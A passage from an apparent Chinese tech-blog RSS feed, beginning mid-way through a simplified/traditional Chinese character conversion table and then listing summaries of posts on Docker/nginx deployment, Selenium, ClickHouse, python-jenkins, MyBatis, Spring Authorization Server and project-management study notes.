瓚甕甌電畫暢佘疇癤療瘧癘瘍鬁瘡瘋皰屙癰痙癢瘂癆瘓癇癡癉瘮瘞瘺癟癱癮癭癩癬癲臒皚皺皸盞鹽監蓋盜盤瞘眥矓著睜睞瞼瞞矚矯磯礬礦碭碼磚硨硯碸礪礱礫礎硜矽碩硤磽磑礄確鹼礙磧磣堿镟滾禮禕禰禎禱禍稟祿禪離禿稈種積稱穢穠穭稅穌穩穡窮竊竅窯竄窩窺竇窶豎競篤筍筆筧箋籠籩築篳篩簹箏籌簽簡籙簀篋籜籮簞簫簣簍籃籬籪籟糴類秈糶糲粵糞糧糝餱緊縶糸糾紆紅紂纖紇約級紈纊紀紉緯紜紘純紕紗綱納紝縱綸紛紙紋紡紵紖紐紓線紺絏紱練組紳細織終縐絆紼絀紹繹經紿綁絨結絝繞絰絎繪給絢絳絡絕絞統綆綃絹繡綌綏絛繼綈績緒綾緓續綺緋綽緔緄繩維綿綬繃綢綯綹綣綜綻綰綠綴緇緙緗緘緬纜緹緲緝縕繢緦綞緞緶線緱縋緩締縷編緡緣縉縛縟縝縫縗縞纏縭縊縑繽縹縵縲纓縮繆繅纈繚繕繒韁繾繰繯繳纘罌網羅罰罷羆羈羥羨翹翽翬耮耬聳恥聶聾職聹聯聵聰肅腸膚膁腎腫脹脅膽勝朧腖臚脛膠脈膾髒臍腦膿臠腳脫腡臉臘醃膕齶膩靦膃騰臏臢輿艤艦艙艫艱豔艸藝節羋薌蕪蘆蓯葦藶莧萇蒼苧蘇檾蘋莖蘢蔦塋煢繭荊薦薘莢蕘蓽蕎薈薺蕩榮葷滎犖熒蕁藎蓀蔭蕒葒葤藥蒞蓧萊蓮蒔萵薟獲蕕瑩鶯蓴蘀蘿螢營縈蕭薩蔥蕆蕢蔣蔞藍薊蘺蕷鎣驀薔蘞藺藹蘄蘊藪槁蘚虜慮虛蟲虯蟣雖蝦蠆蝕蟻螞蠶蠔蜆蠱蠣蟶蠻蟄蛺蟯螄蠐蛻蝸蠟蠅蟈蟬蠍螻蠑螿蟎蠨釁銜補襯袞襖嫋褘襪襲襏裝襠褌褳襝褲襇褸襤繈襴見觀覎規覓視覘覽覺覬覡覿覥覦覯覲覷觴觸觶讋譽謄訁計訂訃認譏訐訌討讓訕訖訓議訊記訒講諱謳詎訝訥許訛論訩訟諷設訪訣證詁訶評詛識詗詐訴診詆謅詞詘詔詖譯詒誆誄試詿詩詰詼誠誅詵話誕詬詮詭詢詣諍該詳詫諢詡譸誡誣語誚誤誥誘誨誑說誦誒請諸諏諾讀諑誹課諉諛誰諗調諂諒諄誶談誼謀諶諜謊諫諧謔謁謂諤諭諼讒諮諳諺諦謎諞諝謨讜謖謝謠謗諡謙謐謹謾謫譾謬譚譖譙讕譜譎讞譴譫讖穀豶貝貞負貟貢財責賢敗賬貨質販貪貧貶購貯貫貳賤賁貰貼貴貺貸貿費賀貽賊贄賈賄貲賃賂贓資賅贐賕賑賚賒賦賭齎贖賞賜贔賙賡賠賧賴賵贅賻賺賽賾贗讚贇贈贍贏贛赬趙趕趨趲躉躍蹌蹠躒踐躂蹺蹕躚躋踴躊蹤躓躑躡蹣躕躥躪躦軀車軋軌軒軑軔轉軛輪軟轟軲軻轤軸軹軼軤軫轢軺輕軾載輊轎輈輇輅較輒輔輛輦輩輝輥輞輬輟輜輳輻輯轀輸轡轅轄輾轆轍轔辭辯辮邊遼達遷過邁運還這進遠違連遲邇逕跡適選遜遞邐邏遺遙鄧鄺鄔郵鄒鄴鄰鬱郤郟鄶鄭鄆酈鄖鄲醞醱醬釅釃釀釋裏钜鑒鑾鏨釓釔針釘釗釙釕釷釺釧釤鈒釩釣鍆釹鍚釵鈃鈣鈈鈦鈍鈔鍾鈉鋇鋼鈑鈐鑰欽鈞鎢鉤鈧鈁鈥鈄鈕鈀鈺錢鉦鉗鈷缽鈳鉕鈽鈸鉞鑽鉬鉭鉀鈿鈾鐵鉑鈴鑠鉛鉚鈰鉉鉈鉍鈹鐸鉶銬銠鉺銪鋏鋣鐃銍鐺銅鋁銱銦鎧鍘銖銑鋌銩銛鏵銓鉿銚鉻銘錚銫鉸銥鏟銃鐋銨銀銣鑄鐒鋪鋙錸鋱鏈鏗銷鎖鋰鋥鋤鍋鋯鋨鏽銼鋝鋒鋅鋶鐦鐧銳銻鋃鋟鋦錒錆鍺錯錨錡錁錕錩錫錮鑼錘錐錦鍁錈錇錟錠鍵鋸錳錙鍥鍈鍇鏘鍶鍔鍤鍬鍾鍛鎪鍠鍰鎄鍍鎂鏤鎡鏌鎮鎛鎘鑷鐫鎳鎿鎦鎬鎊鎰鎔鏢鏜鏍鏰鏞鏡鏑鏃鏇鏐鐔钁鐐鏷鑥鐓鑭鐠鑹鏹鐙鑊鐳鐶鐲鐮鐿鑔鑣鑞鑲長門閂閃閆閈閉問闖閏闈閑閎間閔閌悶閘鬧閨聞闥閩閭闓閥閣閡閫鬮閱閬闍閾閹閶鬩閿閽閻閼闡闌闃闠闊闋闔闐闒闕闞闤隊陽陰陣階際陸隴陳陘陝隉隕險隨隱隸雋難雛讎靂霧霽黴靄靚靜靨韃鞽韉韝韋韌韍韓韙韞韜韻頁頂頃頇項順須頊頑顧頓頎頒頌頏預顱領頗頸頡頰頲頜潁熲頦頤頻頮頹頷頴穎顆題顒顎顓顏額顳顢顛顙顥纇顫顬顰顴風颺颭颮颯颶颸颼颻飀飄飆飆飛饗饜飣饑飥餳飩餼飪飫飭飯飲餞飾飽飼飿飴餌饒餉餄餎餃餏餅餑餖餓餘餒餕餜餛餡館餷饋餶餿饞饁饃餺餾饈饉饅饊饌饢馬馭馱馴馳驅馹駁驢駔駛駟駙駒騶駐駝駑駕驛駘驍罵駰驕驊駱駭駢驫驪騁驗騂駸駿騏騎騍騅騌驌驂騙騭騤騷騖驁騮騫騸驃騾驄驏驟驥驦驤髏髖髕鬢魘魎魚魛魢魷魨魯魴魺鮁鮃鯰鱸鮋鮓鮒鮊鮑鱟鮍鮐鮭鮚鮳鮪鮞鮦鰂鮜鱠鱭鮫鮮鮺鯗鱘鯁鱺鰱鰹鯉鰣鰷鯀鯊鯇鮶鯽鯒鯖鯪鯕鯫鯡鯤鯧鯝鯢鯰鯛鯨鯵鯴鯔鱝鰈鰏鱨鯷鰮鰃鰓鱷鰍鰒鰉鰁鱂鯿鰠鼇鰭鰨鰥鰩鰟鰜鰳鰾鱈鱉鰻鰵鱅鰼鱖鱔鱗鱒鱯鱤鱧鱣鳥鳩雞鳶鳴鳲鷗鴉鶬鴇鴆鴣鶇鸕鴨鴞鴦鴒鴟鴝鴛鴬鴕鷥鷙鴯鴰鵂鴴鵃鴿鸞鴻鵐鵓鸝鵑鵠鵝鵒鷳鵜鵡鵲鶓鵪鶤鵯鵬鵮鶉鶊鵷鷫鶘鶡鶚鶻鶿鶥鶩鷊鷂鶲鶹鶺鷁鶼鶴鷖鸚鷓鷚鷯鷦鷲鷸鷺鸇鷹鸌鸏鸛鸘鹺麥麩黃黌黶黷黲黽黿鼂鼉鞀鼴齇齊齏齒齔齕齗齟齡齙齠齜齦齬齪齲齷龍龔龕龜誌製谘隻裡係範鬆冇嚐嘗鬨麵準鐘彆閒乾儘臟拚&#34; def to_tradition(st): # 简体转繁体 output_str_list = [] str_len = len(st) for i in range(str_len): found_index = SIMPLE.find(st[i]) if not (found_index == -1): output_str_list.append(TRADITION[found_index]) else: output_str_list.append(st[i]) return &#39;&#39;.join(output_str_list) def to_simple(st): # 繁体转简体 output_str_list = [] str_len = len(st) for i in range(str_len): found_index = TRADITION.</description>
    </item>
    <item>
      <title>vue项目的docker部署</title>
      <link>https://bchobby.github.io/posts/16b3ed76f823484427235de80416bdaa/</link>
      <pubDate>Wed, 04 May 2022 23:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16b3ed76f823484427235de80416bdaa/</guid>
      <description> 很久没有接触前端了，最近需要发布一个前端小项目，好不犹豫的选择了docker，方便啊！（其实原始nginx也很方便）&#xA;下面记录一下：&#xA;开发环境vscode&#xA;发布环境 centos7&#xA;项目工程结构 我们需要一个dockerfile文件，一个nginx的配置文件&#xA;dockerfile文件配置内容如下，我们以一个nginx镜像为基础镜像打包我们自己的镜像，内容如下图所示 # 基础镜像使用Nginx FROM nginx # 作者 MAINTAINER llp # 添加时区环境变量，亚洲，上海 ENV TimeZone=Asia/Shanghai # 将前端dist文件中的内容复制到nginx目录 COPY ./dist/ /usr/share/nginx/html/ # 用本地的nginx配置文件覆盖镜像的Nginx配置 COPY nginx.conf /etc/nginx/nginx.conf # 暴露端口 EXPOSE 80 对生产环境变量的定义，如下图所示，请求的接口我们统一用一个指定的url前缀代理，这样方便等会使用nginx做一个重定向的代理&#xA;nginx.conf配置文件，代理部分，通过对prod-api的重定向代理，完成对后台接口的数据请求&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/fcbe0a8a6c0b447c8591deb3cd8c2a2d.png到此我们基本工作就准备完毕了，接下来就是打包镜像和运行容器了npm run build 前端打包发布将发布后的目录 和2个配置文件，上传到安装有docker的服务器中，如下图 进入该目录后 构建镜像 docker build -t i_llpcml . 构建成功后，运行容器，这里为了方便修改nginx的配置，我们将nginx的配置挂载出来，方便修改，nginx.conf本地配置如下所示&#xA;docker run -di -v /home/llp_docker/llpcml/nginx.conf:/etc/nginx/nginx.conf --name=llpcml -p 8099:80 i_llpcml 访问8099端口，就可以看见我们的项目了，收工！ </description>
    </item>
    <item>
      <title>selenium打开谷歌浏览器</title>
      <link>https://bchobby.github.io/posts/5d8fc073721eb8a407783d88eb4d24e3/</link>
      <pubDate>Wed, 04 May 2022 21:42:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d8fc073721eb8a407783d88eb4d24e3/</guid>
      <description>很多小伙伴在知道了selenium这个工具之后就想使用它来打开浏览器。今天我就来给大家分享一下怎样使用Python+Selenium打开谷歌浏览器。&#xA;1. 打开谷歌浏览器，先查看谷歌浏览器版本号，右上角三个点-帮助-关于Google Chrome&#xA;可以看到我这里版本是92.0.4515.107&#xA;2. 下载谷歌浏览器驱动&#xA;下载地址：http://chromedriver.storage.googleapis.com/index.html&#xA;选择对应版本即可&#xA;3.下载完后是个压缩包，里面有个chromedriver.exe文件，我们解压出来&#xA;4.然后将chromedriver.exe放到python安装目录下（即python.exe所在目录）。&#xA;我们有时可能不知道python安装目录，网上有很多查找方法，我这里列举一个：&#xA;① 点击开始菜单，打开IDLE&#xA;② 点击左上角File-Save（保存）按钮&#xA;③ 复制上面的链接，这就是python安装目录&#xA;（我这个是C:\Users\wkl\AppData\Local\Programs\Python\Python39）&#xA;④ 打开我的电脑，链接复制到地址栏查看一下，可以看到python.exe&#xA;⑤ 放入chromedriver.exe&#xA;这样以后就可以用selenium自动化框架来操作谷歌浏览器了。&#xA;关注公众号【天耀数码】，获取更多常用黑科技软件、壁纸下载。</description>
    </item>
    <item>
      <title>系统分析师【系统规划案例分析汇总】</title>
      <link>https://bchobby.github.io/posts/1a7f2d248d55bcf5868a8f0f203b162c/</link>
      <pubDate>Wed, 04 May 2022 21:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a7f2d248d55bcf5868a8f0f203b162c/</guid>
      <description>系统规划 项目选择和确定 （1）选择有核心价值的项目&#xA;（2）评估所选择的项目&#xA;（3）项目优先级排序&#xA;（4）评估项目的多种实施方式&#xA;（5）平衡地选择合适的方案&#xA;可行性研究步骤 （1）复查系统目标和规模&#xA;（2）分析现有系统&#xA;（3）导出新系统的高层逻辑模型&#xA;（4）用户复核&#xA;（5）提出并评价解决方案&#xA;（6）确定最终推荐的解决方案&#xA;（7）草拟开发计划&#xA;（8）编制和提交可行性研究报告&#xA;可行性研究报告的内容 引言、引用文件、可行性研究的前提、可选的方案、所建议的系统、经济技术法律用户使用可行性、其他与项目有关的问题、注解、附录。&#xA;可行性包括两个方面：必要性和可能性&#xA;软件系统的可行性分析包括四个方面 （1）经济可行性&amp;gt;收益、成本&#xA;（2）技术可行性&amp;gt;企业现有技术能力能否完成&#xA;（3）法律可行性&amp;gt;是否符合国家法律法规&#xA;（4）用户使用可行性&amp;gt;管理可行性、运行可行性&#xA;经济可行性也称为投资收益分析或成本效益分析,主要评估项目的建设成本、运行成本和项目建成后可能的经济收益。&#xA;技术可行性也称为技术风险分析,研究的对象是信息系统需要实现的功能和性能,以及技术能力约束。&#xA;法律可行性也称为社会可行性,具有比较广泛的内容,它需要从政策、法律、道德、制度等社会因素来论证信息系统建设的现实性。&#xA;用户使用可行性也称为执行可行性,是从信息系统用户的角度来评估系统的可行性,包括企业的行政管理和工作制度、使用人员的素质和培训要求等,可以细分为管理可行性和运行可行性。&#xA;系统规划步骤，各个子步骤具体含义 1、对现有系统进行初步调查&#xA;2、分析和确定系统目标&#xA;3、分析子系统的组成和基本功能&#xA;4、拟定系统的实施方案&#xA;5、进行系统的可行性研究，编写可行性研究报告，召开可行性论证会&#xA;6、制定系统建设方案&#xA;项目机会选择步骤 1、立项目标和动机&#xA;2、立项价值判断&#xA;3、项目选择和确定&#xA;4、初步调查&#xA;5、可行性分析&#xA;项目立项的目标和动机 1、进行基础研究&#xA;2、进行应用研究&#xA;3、提供技术服务&#xA;4、产品的使用者&#xA;项目的选择和确定 (1)选择有核心价值的项目&#xA;(2)评估所选择的项目&#xA;(3)项目优先级排序&#xA;(4)评估项目的多种实施方式&#xA;(5)平衡地选择合适的方案&#xA;初步调查&#xA;目标:掌握用户的概况,从整体上了解企业信息系统建设的现状,对用户提出的各种问题和初始需求进行识别,明确系统的初步目标,为可行性研究提供工作基础。&#xA;方式:最佳方式是与企业高层管理人员座谈,通过座谈了解企业高层对信息系统所设定的目标和系统边界,计划的资金投入和对工期的要求。&#xA;内容:初步需求分析,企业基本状况,管理方式和基础数据管理状况,现有系统状况。&#xA;成本效益分析技术 （1）固定成本：是指其总额在一定期间和一定业务量范围内，不受业务量变动的影响而保持固定不变的成本。例如，管理人员的工资、办公费、固定资产折旧费、员工培训费等。&#xA;（2）变动成本：也称为可变成本，是指在一定时期和一定业务量范围内其总额随着业务量的变动而成正比例变动的成本。例如，直接材料费、产品包装费、外包费用、开发奖金等。&#xA;（3）混合成本：就是混合了固定成本和变动成本的性质的成本。例如，水电费、电话费等。这些成本通常有一个基数，超过这个基数就会随业务量的增大而增大。&#xA;（4）直接成本：直接投入在项目上。&#xA;（5）间接成本：分摊到项目上。&#xA;（6）沉没成本：已经投入到项目中，无法挽回的成本，不需要再去考虑。&#xA;净现值计算 静态收益计算方式：不考虑金钱的时间价值,只看项目周期内投入和产出的绝对数字。&#xA;动态收益计算方式：考虑金钱具有时间价值,现在的钱比未来值钱,有以下相关概念和公式：&#xA;现值:设每年折现率为i,原价值为F的东西,在n年后的价值为：&#xA;净现值NPV是考虑了金钱的时间价值计算出来的净利润,公式为：&#xA;其中,CI是第t年的收入利益,CO是第t年的支出成本,i是折现率。项目周期内每一年都这样计算再累加,得出总的NPV,就是考虑了时间价值的净利润, NPV有助于公司判断项目是否盈利。</description>
    </item>
    <item>
      <title>uniapp开发移动端上传指南</title>
      <link>https://bchobby.github.io/posts/be664876177a6c6ff7cd025409c54e58/</link>
      <pubDate>Wed, 04 May 2022 21:20:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be664876177a6c6ff7cd025409c54e58/</guid>
      <description>介绍 Uniapp是 DCloud公司于2012年开始研发的能够一次代码开发，生成H5、小程序（微信、支付宝、百度、华为等）、APP等应用的技术的统称，开发工具是HBuilderX，功能非常强大，由此引申出许多技术社区与生态环境。&#xA;引言 Uniapp开发移动端上传，需要前端、后台接口的配合，是比较常见和通用的需求场景，包括许多细节的实现，如：前端上传页面ui，选择文件（图片或视频等），选择时上传文件大小的判断、上传状态的设定，上传后调用后台服务器上传接口上传到服务器，上传成功后回传参数处理等。还有些页面包括要上传多个图片、多个视频，混合搭配，如果没有好的代码封装，往往使得代码不易读、维护很困难。Uniapp提供的前端封装、以及我们使用相应后端接口，搭配好，可以形成一套比较简洁通用的实现方式。笔者根据以往经验进行总结如下。&#xA;实例 本文使用Uniapp开发（使用uview ui组件技术）前端微信小程序，后端接口采用TP6，实现移动端上传的功能&#xA;需求场景 发布内容管理资讯，包含上传图片、上传视频的表单，提交文件上传到服务器。&#xA;实现 前端页面 前端页面代码&#xA;&amp;lt;template&amp;gt; &amp;lt;view&amp;gt; &amp;lt;u-navbar :autoBack=&#34;true&#34; title=&#34;文章发布&#34; title-width=&#34;500&#34;&amp;gt;&amp;lt;/u-navbar&amp;gt; &amp;lt;view class=&#34;top_box&#34;&amp;gt;&amp;lt;/view&amp;gt; &amp;lt;u--text text=&#34;上传图片&#34;&amp;gt;&amp;lt;/u--text&amp;gt; &amp;lt;u-upload :fileList=&#34;fileList1&#34; @afterRead=&#34;afterRead&#34; @delete=&#34;deletePic&#34; @oversize=&#34;oversize&#34; name=&#34;1&#34; multiple :maxCount=&#34;2&#34; :previewFullImage=&#34;true&#34; maxSize=&#34;5024000&#34; &amp;gt;&amp;lt;/u-upload&amp;gt; &amp;lt;u--text text=&#34;上传视频&#34;&amp;gt;&amp;lt;/u--text&amp;gt; &amp;lt;u-upload :fileList=&#34;fileList2&#34; @afterRead=&#34;afterRead&#34; @delete=&#34;deletePic&#34; @oversize=&#34;oversize&#34; name=&#34;2&#34; multiple :maxCount=&#34;2&#34; accept=&#34;video&#34; :previewFullImage=&#34;true&#34; maxSize=&#34;10240000&#34; &amp;gt;&amp;lt;/u-upload&amp;gt;&#x9;&amp;lt;/view&amp;gt; &amp;lt;/template&amp;gt; export default { data() { return { ... fileList1: [], fileList2: [], } }, ... methods:{ ... // 删除图片 deletePic(event) { this[`fileList${event.</description>
    </item>
    <item>
      <title>clickhouse物化视图详解</title>
      <link>https://bchobby.github.io/posts/ba5935d657af2f45fcd1dc1e862b78aa/</link>
      <pubDate>Wed, 04 May 2022 19:55:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba5935d657af2f45fcd1dc1e862b78aa/</guid>
      <description>clickhouse物化视图有常见的两种模式 假设源表定义如下：&#xA;create table source_table(id int32, age int32, create_time DateTime) engine=mergeTree() partition by toYYMMDD(create_time) order by id 模式一 隐式创建目标表:&#xA;CREATE MATERIALIZED VIEW hide_agg_mv_view( id int32, min_age AggregateFunction(min, int32), max_age AggregateFunction(max,int32) ) ENGINE = AggregatingMergeTree() PARTITION BY tuple() ORDER BY (id) POPULATE AS SELECT id, minState(age) as min_age, maxState(age) as max_age FROM source_table GROUP BY id 模式一会隐式的创建目标表，使用show table命令可以看到和物化视图相关的两张表：&#xA;a. 物化视图定义表：hide_agg_mv_view&#xA;b. 实际数据存放表：inner.hide_agg_mv_view&#xA;使用这种模式创建的物化视图的优点是支持populate初始化操作，也就是可以把源表数据初始化到物化视图中，不过这个初始化的过程中，源表中所有的数据insert操作都会丢失，生产环境中使用务必注意。&#xA;模式二： 显示定义目标表&#xA;定义目标数据表&#xA;CREATE TABLE target_data_table ( id int32, min_age AggregateFunction(min, int32), max_age AggregateFunction(max,int32) ) ENGINE = AggregatingMergeTree() PARTITION BY tuple() ORDER BY (id) 物化视图定义表</description>
    </item>
    <item>
      <title>python使用python-jenkins插件操作jenkins</title>
      <link>https://bchobby.github.io/posts/7e248bcfe186ac40c764a6970f5f3624/</link>
      <pubDate>Wed, 04 May 2022 13:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e248bcfe186ac40c764a6970f5f3624/</guid>
      <description>python-jenkins插件 python中有python-jenkins插件，用来实现python和jenkins交付。&#xA;使用如下命令，即可安装该模块&#xA;pip3 install python-jenkins 该模块的文档，可以参见： Python Jenkins — Python Jenkins 1.1.1.dev1 documentation&#xA;创建jenkins token 为了方便后续python连接jenkins，需要在jenkins中，使用某一用户，创建token&#xA;首先进入到自己的用户设置，点击右上角自己的用户名，然后从下拉菜单中，选择设置&#xA;在api-token选项中，创建一个新的token即可。&#xA;需要注意，token一旦创建之后，需要自己进行记录，后续该页面刷新之后，就看不到了&#xA;python操作jenkins 连接jenkins python中，通过jenkins这个模块，来连接jenkins。代码如下：&#xA;server = jenkins.Jenkins(jenkins_server, username=user_id, password=api_token) 其中：&#xA;jenkins_server：jenkins的网站链接&#xA;username：用户名&#xA;password： 该用户的token&#xA;如果jenkins的网站是https的方式，那么连接过程中会有证书认证。如果jenkins的证书是自签发的，那么是可能连接失败的。&#xA;可以在连接jenkins之前，加入如下代码，不认证证书&#xA;import os os.environ[&#39;PYTHONHTTPSVERIFY&#39;] = &#39;0&#39; 连接成功后，就可以通过server这个类实例，来对jenkins进行操作了。&#xA;job操作 job的操作，主要使用以下方法&#xA;方法参数说明get_job_infojob_name获取指定job的信息build_jobjob_name，parameters构建指定的job，并且传入参数。参数是一个字典get_build_infojob_name，number获取指定job的指定构建number的构建信息get_build_console_outputjob_name, numer获取指定job的指定构建number的console打印信息 获取job信息 获取job的信息，使用get_job_info方法。该方法会返回一个字典，该字典中，存储了该job的相关所有信息。&#xA;信息如下所示：&#xA;{ &#39;_class&#39;: &#39;org.jenkinsci.plugins.workflow.job.WorkflowJob&#39;, &#39;actions&#39;: [ {}, {}, {}, {}, {}, {}, {}, {}, {&#39;_class&#39;: &#39;org.jenkinsci.plugins.displayurlapi.actions.JobDisplayAction&#39;}, {}, {}, {&#39;_class&#39;: &#39;com.cloudbees.plugins.credentials.ViewCredentialsAction&#39;} ], &#39;buildable&#39;: True, &#39;builds&#39;: [ { &#39;_class&#39;: &#39;org.</description>
    </item>
    <item>
      <title>`MyBatis`各种查询功能</title>
      <link>https://bchobby.github.io/posts/1d92eb83c74ad0332688b68794b8f40e/</link>
      <pubDate>Wed, 04 May 2022 12:51:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d92eb83c74ad0332688b68794b8f40e/</guid>
      <description>MyBatis各种查询功能【非常重要】 1.查询一个实体类对象 若查询出的数据只有一条：&#xA;可以通过实体类对象接收可以通过List集合接收可以通过Map集合接收，在select的resultType或resultMap要传入别名为map【用于json数据传输】 案例：&#xA;Mapper接口&#xA;/** *当查询的返回只有一条记录时， * 1.可以用JavaBean类进行接收 * 2.可以用List集合进行接收 */ // 根据ID查询用户信息 , 用User实体类进行接收 User getUserByID(@Param(&#34;id&#34;) Integer id); // 根据ID查询用户信息 , 用List集合进行接收 List&amp;lt;User&amp;gt; getUserByID2(@Param(&#34;id&#34;) Integer id); Mapper.xml文件&#xA;&amp;lt;!--getUserByID根据ID查询用户信息--&amp;gt; &amp;lt;select id=&#34;getUserByID&#34; resultType=&#34;User&#34;&amp;gt; select * from t_user where id = #{id}; &amp;lt;/select&amp;gt; &amp;lt;!--List&amp;lt;User&amp;gt; getUserByID2(@Param(&#34;id&#34;) Integer id);根据ID查询用户信息--&amp;gt; &amp;lt;select id=&#34;getUserByID2&#34; resultType=&#34;User&#34;&amp;gt; select * from t_user where id = #{id}; &amp;lt;/select&amp;gt; Test类&#xA;// 查询返回一条记录的情况 @Test public void testGetUserByID(){ SqlSession sqlSession = SqlSessionUtils.</description>
    </item>
    <item>
      <title>项目十大管理（六）人力资源管理</title>
      <link>https://bchobby.github.io/posts/151f7218b20c1457d58b8be99daf0a1b/</link>
      <pubDate>Wed, 04 May 2022 11:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/151f7218b20c1457d58b8be99daf0a1b/</guid>
      <description>项目人力资源管理主要包括规划人力资源管理、组建项目团队、建设项目团队和管理项目团队四个子过程：&#xA;一、规划人力资源管理 主要是识别和记录项目角色、职责、所需技能、报告关系，并编制人员配备管理计划。本过程的主要作用是建立项目角色与职责、项目组织图，以及包含人员招募和遣散时间标的人员配备管理计划。&#xA;1.1 规划人力资源管理的输入 1.1.1 项目管理计划 1.1.2 活动资源需求 进行人力资源时，也需要根据活动资源需求来确定项目所需的人力资源。在规划人力资源管理过程中，明确对项目团队成员及其能力的初步需求&#xA;1.1.3 事业环境因素 能够影响的事业环境因素包括：&#xA;组织文化和结构现有人力资源情况团队成员的地理位置分布人事管理政策 1.1.4 组织过程资产 能够影响的组织过程资产包括：&#xA;组织的标准流程、政策和角色描述组织图和职位描述模板以往项目中与组织结构有关的经验教训团队和执行组织内问题解决的升级程序 1.2 规划人力资源管理的工具与技术 1.2.1 组织图与职位描述 1.2.2 人际交往 人际交往是指在组织、行业或职业环境中与他人的正式或非正式互动。通过在本单位内或本行业内的人际交流，有助于了解那些能影响人员配备方案的各种因素。通过成功的人际交往，可以获取与人力资源有关的各种信息，增加获取人力资源的途径。&#xA;1.2.3 组织理论 组织理论阐述个人、团队和组织部门的行为方式。有效利用组织理论中的通用知识，可以节约编制人力资源管理计划的时间、成本及人力投入，提高规划工作的效率。&#xA;在不同的组织架构中，人们可能有不同的表现、不同的业绩，可能展现出不同的交际特点&#xA;1.2.4 专家判断 专家判断被用于制定人力资源管理计划的有：&#xA;列出人力资源的初步要求根据组织的标准化角色描述，分析项目所需的角色 1.2.5 会议 在会议中，使用工具和技术，使所有项目管理团队成员对人力资源管理计划达成共识&#xA;1.3 规划人力资源管理的输出 1.3.1 人力资源管理计划 二、组建项目团队 组建项目团队是确认人力资源的可用情况，并为开展项目活动而组建团队。作用是指导团队选择和职责分配，组建一个成功的团队。&#xA;2.1 组建项目团队的输入 2.1.1 人力资源管理计划 提供了如何定义、配备、管理和最终遣散人力资源的指南&#xA;2.1.2 事业环境因素 影响的因素包括：&#xA;现有人力资源情况，包括可用性、能力水平、以往经验等等人事管理政策，如人员外包的政策组织的结构集中办公或多个工作地点 2.1.3 组织过程资产 组织的标准政策、流程和程序会影响组建项目团队过程&#xA;2.2 组建项目团队的工具与技术 2.2.1 预分派 也就是事先选定的，预分派可在下列情况下发生：在竞标过程中承诺分派特定人员进行项目工作；项目成功取决于特定人员的专有技能；或者项目章程中指定了某些人员的工作分派&#xA;2.2.2 谈判 项目有可能会通过谈判完成人员分派，项目管理团队影响他人的能力很重要，如同在组织中的政治能力一样重要。&#xA;2.2.3 招募 从外部获取相应的人员，或把相关工作分包给其他组织&#xA;2.2.4 虚拟团队 对于很少或没有时间面对面工作的一群人。能够组织内部地处不同地理位置的员工之间组建团队。&#xA;2.2.5 多标准决策分析 也就是在组建项目团队过程中，经常需要使用团队成员选择标准，通过多标准决策分析，制定选择标准，并据此对候选团队成员进行定级或打分。根据各种因素对团队的不同重要性，赋予选择标准不同的权重。大致有如下几种标准：</description>
    </item>
    <item>
      <title>Spring AuthorizationServer 新版</title>
      <link>https://bchobby.github.io/posts/e9aaa89eafcdc6383c852d3d7d63bc24/</link>
      <pubDate>Wed, 04 May 2022 10:44:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9aaa89eafcdc6383c852d3d7d63bc24/</guid>
      <description>Spring Oauth2-Authorization-Server 介绍 基于 spring-security-oauth2-authorization-server 0.2.3&#xA;序言 由于 spring-security-oauth 这个工程 已经被废弃了， oauth-client, oauth-resource 的内容都被移进了 spring-security 工程，在社区的强烈要求下，由spring牵头，spring社区主导的 spring-security-oauth2-authorization-server 被开发&#xA;spring-security-oauth2-authorization-server 校之前的 spring-security-oauth 有了较大的变化 ，工程地址 spring-projects/spring-authorization-server&#xA;常用组件 oauth表 oauth2-registered-client-schema.sql&#xA;mysql&amp;gt; select * from oauth2_registered_client\G; *************************** 1. row *************************** id: c10f37cb-ae08-4fb7-9f4f-27b3c3298158 client_id: apple client_id_issued_at: 2022-05-02 09:31:47 client_secret: $2a$10$Nlq7EjfwjiS6bAOsxF8fY.gBmSkJLDNJTOwxgQwwKKKRuFvalZQUK client_secret_expires_at: NULL client_name: c10f37cb-ae08-4fb7-9f4f-27b3c3298158 client_authentication_methods: basic authorization_grant_types: refresh_token,client_credentials,password,authorization_code redirect_uris: https://www.baidu.com scopes: user.photos,user.userInfo client_settings: {&#34;@class&#34;:&#34;java.util.Collections$UnmodifiableMap&#34;,&#34;settings.client.require-proof-key&#34;:false,&#34;settings.client.require-authorization-consent&#34;:true} token_settings: {&#34;@class&#34;:&#34;java.util.Collections$UnmodifiableMap&#34;,&#34;settings.token.reuse-refresh-tokens&#34;:true,&#34;settings.token.id-token-signature-algorithm&#34;:[&#34;org.springframework.security.oauth2.jose.jws.SignatureAlgorithm&#34;,&#34;RS256&#34;],&#34;settings.token.access-token-time-to-live&#34;:[&#34;java.time.Duration&#34;,3600.000000000],&#34;settings.token.access-token-format&#34;:{&#34;@class&#34;:&#34;org.springframework.security.oauth2.core.OAuth2TokenFormat&#34;,&#34;value&#34;:&#34;refrence&#34;},&#34;settings.token.refresh-token-time-to-live&#34;:[&#34;java.time.Duration&#34;,259200.000000000]} 1 row in set (0.00 sec) oauth2-authorization-consent-schema.sql&#xA;mysql&amp;gt; desc oauth2_authorization_consent; +----------------------+---------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +----------------------+---------------+------+-----+---------+-------+ | registered_client_id | varchar(100) | NO | PRI | NULL | | | principal_name | varchar(200) | NO | PRI | NULL | | | authorities | varchar(1000) | NO | | NULL | | +----------------------+---------------+------+-----+---------+-------+ 3 rows in set (0.</description>
    </item>
    <item>
      <title>hive中substr和regexp_replace的使用</title>
      <link>https://bchobby.github.io/posts/2bd22208645f9154facfc1a781e2a2bc/</link>
      <pubDate>Wed, 04 May 2022 09:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bd22208645f9154facfc1a781e2a2bc/</guid>
